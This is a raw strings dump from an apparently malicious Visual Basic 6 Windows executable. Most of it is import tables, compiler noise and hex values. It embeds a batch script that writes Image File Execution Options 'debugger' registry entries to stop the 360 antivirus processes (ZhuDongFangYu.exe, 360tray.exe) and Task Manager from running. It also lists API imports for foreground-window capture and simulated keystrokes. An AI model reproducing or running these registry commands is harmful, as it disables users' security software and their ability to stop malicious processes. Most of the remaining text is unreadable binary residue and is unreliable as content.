VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
7922F4DB6BD4AF02B061CB04F35BE848
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlr r
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE| }P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
764B151C355885023EAC63AD4EC72A66
A7A45284C021949FCB12F82E84ADE835
E0C667944D08611BAC6BD60DA4B4BB0F
3308E37EB65C4607B66E6EEB5889FFDF
E5D714EB8CEEB6F7B4E5FD24529AD735
104EC85D1E0D2CD742D62377C0EBA714
466F56C49E765D6FCF792C14F504D5A9
87D594AA52DD916B71E104ADD235928B
386FB518756F06BA1AEBDA0B5E6EBF8C
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt 9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]b X
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u 9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YY hPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YY hPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YY hPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YY hPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YY h
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9 t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9 M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
t u$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht<
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht<
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w @
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s 9~(~
j Yj Y+
VWj Y}
Pj Y+3BR0H%
Yj ^+3B
QP4YYu
<+3E_^[
|3@]3]
SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3j Y+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
